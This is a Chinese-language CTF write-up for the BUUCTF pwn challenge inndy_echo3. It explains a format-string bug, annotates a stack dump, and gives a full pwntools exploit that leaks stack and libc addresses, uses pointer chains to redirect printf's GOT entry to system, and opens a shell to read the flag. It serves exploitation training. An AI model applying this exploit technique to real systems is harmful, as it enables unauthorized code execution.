你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

[BUUCTF-pwn] inndy_echo3

2021/12/7 20:46:18

格式化字符串漏洞,这个题整了一会感觉很烦,然后搜了LiuLian 大师傅的exp  [Hackme.inndy]echo/echo2/echo3 | LiuLian  感觉还是自己干吧。

程序没开pie这给泄露减轻不少负担,但这个题在main里先用随机数申请内存,然后在hardfmt里给esp赋值,这导致每次运行栈地址并不完全固定。

不固定其实是相对的,在hardfmt里它是不固定的,但是再往前main和libc_start_main_ret这些都是固定的,只要找到ebp再往后就固定了。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  int fd; // [esp+14h] [ebp-1Ch]
  int buf[6]; // [esp+18h] [ebp-18h] BYREF

  buf[4] = (int)&argc;
  buf[3] = __readgsdword(0x14u);
  setbuf(stdout, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    puts("urandom error");
    exit(1);
  }
  read(fd, buf, 8u);
  read(fd, &magic, 4u);
  close(fd);
  v3 = alloca(16 * (((buf[0] & 0x3039u) + 30) / 0x10));
  hardfmt();
}
void __noreturn hardfmt()
{
  void *v0; // esp
  int i; // [esp+4h] [ebp-14h]
  _DWORD *v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch] BYREF

  v3 = __readgsdword(0x14u);
  v0 = alloca(32);                              // 每次运行会重新分配esp地址
  v2 = (_DWORD *)(16 * (((unsigned int)&v3 + 3) >> 4));
  *v2 = magic;
  for ( i = 0; i <= 4; ++i )
  {
    read(0, buff, 0x1000u);
    printf(buff);
  }
  if ( *v2 != magic )
  {
    puts("**Stack smashed**");
    exit(1);
  }
  exit(0);
}

LiuLian的exp用爆破的方法,当偏移55是libc_start_main_ret里再往后处理。但我不习惯这种爆破,还是按原来的方法来,先泄露。

先来看一段栈内容,内容很多,只看有注释的行

0000| 0xff9f6f40 --> 0x804a080 ("%14$x,%18$x,\n")
0004| 0xff9f6f44 --> 0x804a080 ("%14$x,%18$x,\n")                                  #1 base
0008| 0xff9f6f48 --> 0x1000 
0012| 0xff9f6f4c --> 0xf7e44788 (<setbuffer+200>:	add    esp,0x10)
0016| 0xff9f6f50 --> 0x21ab94d8 
0020| 0xff9f6f54 --> 0x0 
0024| 0xff9f6f58 --> 0x0 
0028| 0xff9f6f5c --> 0x1 
0032| 0xff9f6f60 --> 0xf7fc4000 --> 0x23f40 
0036| 0xff9f6f64 --> 0x8047264 --> 0x62696c00 ('')
0040| 0xff9f6f68 --> 0xf7fc4918 --> 0x0 
0044| 0xff9f6f6c --> 0x80485d2 (<hardfmt+12>:	add    ebx,0x1a2e)                       #11 base+0x2c offset_1 newptr->got_printf
0048| 0xff9f6f70 --> 0xff9f6fae --> 0x30804 
0052| 0xff9f6f74 --> 0x0 
0056| 0xff9f6f78 --> 0xff9f6f50 --> 0x21ab94d8                                      #14 value = base + 0x10 
0060| 0xff9f6f7c --> 0x1e695b00 
0064| 0xff9f6f80 --> 0xf7fae7eb (add    esi,0x15815)
0068| 0xff9f6f84 --> 0x804a000 --> 0x8049f10 ('X' <repeats 200 times>...)
0072| 0xff9f6f88 --> 0xff9f6ff8 --> 0x0                                             #18 ebp1-> offset_libc -1
0076| 0xff9f6f8c --> 0x804877b (<main+236>:	mov    eax,0x0)                              #19 base+0x4c offset_2 newptr->got_printf + 2
0080| 0xff9f6f90 --> 0xff9f6ff8 --> 0x0 
0084| 0xff9f6f94 --> 0xf7fb4ff0 (pop    edx)
0088| 0xff9f6f98 --> 0x4 
0092| 0xff9f6f9c --> 0xff9f6ff8 --> 0x0 
0096| 0xff9f6fa0 --> 0x804a000 --> 0x8049f10 ('X' <repeats 200 times>...)
0100| 0xff9f6fa4 --> 0x804a060 --> 0x21ab94d8 
0104| 0xff9f6fa8 --> 0xf7eb9bfc (<close+28>:	mov    ebx,edx)
0108| 0xff9f6fac --> 0x804874a (<main+187>:	add    esp,0x10)
0112| 0xff9f6fb0 --> 0x3 
0116| 0xff9f6fb4 --> 0x804a060 --> 0x21ab94d8 
0120| 0xff9f6fb8 --> 0x4 
0124| 0xff9f6fbc --> 0x80486a6 (<main+23>:	add    ebx,0x195a)
0128| 0xff9f6fc0 --> 0x8000 
0132| 0xff9f6fc4 --> 0xf7f95000 --> 0x1afdb0 
0136| 0xff9f6fc8 --> 0xff9f70ac --> 0xff9f7420 ("SHELL=/bin/bash")
0140| 0xff9f6fcc --> 0xff9f70a4 --> 0xff9f741a ("./pwn")
0144| 0xff9f6fd0 --> 0x1 
0148| 0xff9f6fd4 --> 0x0 
0152| 0xff9f6fd8 --> 0xff9f70ac --> 0xff9f7420 ("SHELL=/bin/bash")
0156| 0xff9f6fdc --> 0x3 
0160| 0xff9f6fe0 --> 0xf6fc4a9a 
0164| 0xff9f6fe4 --> 0xa90f3e51 
0168| 0xff9f6fe8 --> 0xff9f70ac --> 0xff9f7420 ("SHELL=/bin/bash")
0172| 0xff9f6fec --> 0x1e695b00 
0176| 0xff9f6ff0 --> 0xff9f7010 --> 0x1 
0180| 0xff9f6ff4 --> 0x0 
0184| 0xff9f6ff8 --> 0x0 
0188| 0xff9f6ffc --> 0xf7dfd647 (<__libc_start_main+247>:	add    esp,0x10)          #libc_start_main_ret
0192| 0xff9f7000 --> 0xf7f95000 --> 0x1afdb0 
0196| 0xff9f7004 --> 0xf7f95000 --> 0x1afdb0 
0200| 0xff9f7008 --> 0x0 
0204| 0xff9f700c --> 0xf7dfd647 (<__libc_start_main+247>:	add    esp,0x10)
0208| 0xff9f7010 --> 0x1 
0212| 0xff9f7014 --> 0xff9f70a4 --> 0xff9f741a ("./pwn")                              #offset_libc + 6 ->newptr1 -> #11
0216| 0xff9f7018 --> 0xff9f70ac --> 0xff9f7420 ("SHELL=/bin/bash")                    #offset_libc + 7 ->newptr2 -> #19
0220| 0xff9f701c --> 0x0 

在0x804864b下断点,这时候刚printf完。这里可以看成两部分:

  1. hardfmt的栈,这里由于alloca抬了栈,与后部main的栈内容偏差不固定,但这里有两个值比较特殊 
    1. 偏移11这个值是esp+0x10 通过这个可以确定栈的基地址
    2. 偏移14这个值是ebp他指是个0(main的ebp)后边偏移+1就是上级栈的返回地址libc_start_main_ret 通过这个值计算出偏移,再通过偏移就能得到libc
  2. 格式化字符串在定的时候一定要用到指针,而当前栈里并没有那么多栈里的指针链,但是到libc_start_main_ret后边是有固定的内存指针的,有很多。这里在附近找两个:
    1. 在libc_start_main_ret后+6和+7就是两个内存链,他指向哪里不重要,因为没法一次修改4个字节,所在必需找前两个字节是栈地址的,所以这两个正好符合
    2. 这两个指针指向的位置的值才是需要修改的地方,但这两个指针都太远了,没有在上边贴出来,这个可以想像。

基本思路:

先利用offset_libc+6,7这两个指针将指向的内容修改为指向偏移11和19,再利用指向11和19的指针修改11和19的值指向got.printf和printf+2,再利用11和19修改got表。这个题由于有次数限制所以用双指针来改,跟传统的ebp1->ebp2->ptr_got->got是一样的。

  1. 先泄露偏移14和18这两个值,通过第1个计算得到栈基地址,第2个得到下一部分内存块的偏移,后边的libc和4个指针的偏移都是通过基地址计算得到
  2. 泄露libc和两个指针指的值计算指向的两个位置的偏移ebp1->ptr1 ebp2->ptr2
  3. 修改ptr1和ptr2的值,让他指向偏移11和19这两个位置的值是0x804开头指向程序加载区
  4. 修改偏移11和19的值,让他指向got.printf和got.printf+2这两就得到两个指向got的指针,每个可以写两个字节
  5. 利用指针(偏移11和19)修改got.printf这system
  6. 发送/bin/sh由printf执行得到shell
  7. printf可以一次写很长,但只能写5次,所以中间的步骤要压缩一下,第2步的结果到第5步才用到,所以2,3,4其实都可以合并到一起,题目可以写5次现在有6步,就把2合并到3后边就满足条件了。

完整的exp:

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
    one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
    offset_main_ret = 0x18647
else:
    p = remote('node4.buuoj.cn', 27385) 
    libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so')
    one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    offset_main_ret = 0x18637

elf = ELF('./pwn')
context(arch='i386', log_level='debug')

#gdb.attach(p, 'b*0x804864b')

#1:leak stack_base, ebp
p.sendline(b"%14$x,%18$x,")
off_4  = int(p.recvuntil(b',', drop=True), 16)
off_18 = int(p.recvuntil(b',', drop=True), 16)
off_libc = (off_18 - off_4)//4 +4 +1 
stack_base = off_4 -0x10
off_ebp1 = off_libc +6
off_ebp2 = off_libc +7
print('off_4', hex(off_4), ' off_18', hex(off_18))
print('off_ebp1:', off_ebp1, 'off_ebp2:', off_ebp2)

#2:ebp1 -> #11,ebp2->#19, leak libc
add_11 = (stack_base + 0x2c) & 0xffff
add_n1 = add_11
add_19 = (stack_base + 0x4c) & 0xffff
add_n2 = (add_19 - add_11) & 0xffff
payload  = f"%{add_n1}c%{off_ebp1}$hn%{add_n2}c%{off_ebp2}$hnAAAA%{off_libc}$pBBBB%{off_ebp1}$pCCCC%{off_ebp2}$pDDDD"
p.sendline(payload.encode())
p.recvuntil(b'AAAA')
libc_base = int(p.recvuntil(b'BBBB', drop=True), 16) - offset_main_ret
system    = libc_base + libc_elf.sym['system']
got_printf= elf.got['printf']  # 0x0804a014   
print('libc:', hex(libc_base))
ptr1 = int(p.recvuntil(b'CCCC', drop=True), 16)
ptr2 = int(p.recvuntil(b'DDDD', drop=True), 16)
off_ptr1 = (ptr1- stack_base)//4
off_ptr2 = (ptr2- stack_base)//4
print(off_ptr1, hex(ptr1), ' , ', off_ptr2, hex(ptr2))

#3: #11->got_printf, #19->got_printf+2
add_n1 = elf.got['printf'] & 0xffff
add_n2 = (elf.got['printf']+2) & 0xffff
add_n2 = (add_n2 - add_n1) & 0xffff
payload = f"%{add_n1}c%{off_ptr1}$hn%{add_n2}c%{off_ptr2}$hnEEEE"
p.sendline(payload.encode())
p.recvuntil(b'EEEE')

#4: got_printf -> system
add_n1 = system & 0xffff
add_n2 = (system>>16) & 0xffff
add_n2 = (add_n2 - add_n1) & 0xffff
payload = f"%{add_n1}c%11$hn%{add_n2}c%19$hnFFFF"
p.sendline(payload.encode())
p.recvuntil(b'FFFF')

#5: send /bin/sh
p.sendline(b"/bin/sh\x00")

p.sendline(b'cat /flag')
p.interactive()